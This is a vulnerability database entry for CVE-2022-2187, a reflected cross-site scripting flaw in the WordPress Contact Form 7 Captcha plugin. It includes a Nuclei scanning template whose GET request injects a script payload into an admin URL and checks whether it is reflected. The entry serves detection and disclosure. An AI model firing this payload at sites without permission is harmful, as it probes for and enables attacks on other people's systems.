SecurityContext

CVE-2022-2187: WordPress Contact Form 7 Captcha <0.1.2 - Cross-Site Scripting

Classification

  • Cwe: CWE-79
  • Cvss score: 6.1
  • Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
  • Epss score: 0.01486
  • Epss percentile: 0.74704
  • Cpe: cpe:2.3:a:contact_form_7_captcha_project:contact_form_7_captcha:*:*:*:*:*:wordpress:*:*

Metadata

  • Framework: wordpress
  • Max-request: 1
  • Product: contact_form_7_captcha
  • Vendor: contact_form_7_captcha_project

Products

ProductIndexedUrl
contact_form_7_captcha_project:contact_form_7_captchayes/v1/products/contact_form_7_captcha_project/contact_form_7_captcha

Labels

  • Name: WordPress Contact Form 7 Captcha - Reflected XSS
  • Impact: Attackers can execute arbitrary scripts in the victim's browser, potentially leading to session hijacking or defacement.
  • Remediation: Update to version 0.1.2 or later.
  • Vulnerability type: reflected_xss
  • Vulnerability impact: client_script_exec
  • Requirement type: none
  • Labels source: projectdiscovery
  • From cve: CVE-2022-2187
  • Not known: requirements

```yaml

id: CVE-2022-2187

info:

name: WordPress Contact Form 7 Captcha <0.1.2 - Cross-Site Scripting

author: For3stCo1d

severity: medium

description: |

WordPress Contact Form 7 Captcha plugin before 0.1.2 contains a reflected cross-site scripting vulnerability. It does not escape the $_SERVER['REQUEST_URI'] parameter before outputting it back in an attribute.

impact: |

Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the website, potentially leading to session hijacking, defacement, or theft of sensitive information.

remediation: |

Update the WordPress Contact Form 7 Captcha plugin to version 0.1.2 or later to mitigate the XSS vulnerability.

reference:

- https://wpscan.com/vulnerability/4fd2f1ef-39c6-4425-8b4d-1a332dabac8d

- https://wordpress.org/plugins/contact-form-7-simple-recaptcha

- https://nvd.nist.gov/vuln/detail/CVE-2022-2187

- https://github.com/ARPSyndicate/cvemon

- https://github.com/ARPSyndicate/kenzer-templates

classification:

cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

cvss-score: 6.1

cve-id: CVE-2022-2187

cwe-id: CWE-79

epss-score: 0.01486

epss-percentile: 0.74704

cpe: cpe:2.3:a:contact_form_7_captcha_project:contact_form_7_captcha:*:*:*:*:*:wordpress:*:*

metadata:

max-request: 1

vendor: contact_form_7_captcha_project

product: contact_form_7_captcha

framework: wordpress

tags: cve,cve2022,wpscan,wordpress,xss,wp-plugin,wp,contact_form_7_captcha_project,vuln

http:

- method: GET

path:

- '{{BaseURL}}/wp-admin/options-general.php?page=cf7sr_edit&"></script><script>alert(document.domain)</script>'

matchers-condition: and

matchers:

- type: word

part: body

words:

- "</script><script>alert(document.domain)</script>"

- "Contact Form 7"

condition: and

- type: word

part: header

words:

- text/html

- type: status

status:

- 200

digest: 4b0a00483046022100e649ca2370863c91859df93cf6827daea0074b383b047601d2ebe8dbf5dbeb1d022100c74937bc35a178b950a77a3b7ba63f7e8ccf06defc37986f1b3ed83e252977d0:922c64590222798bb761d5b6d8e72950

```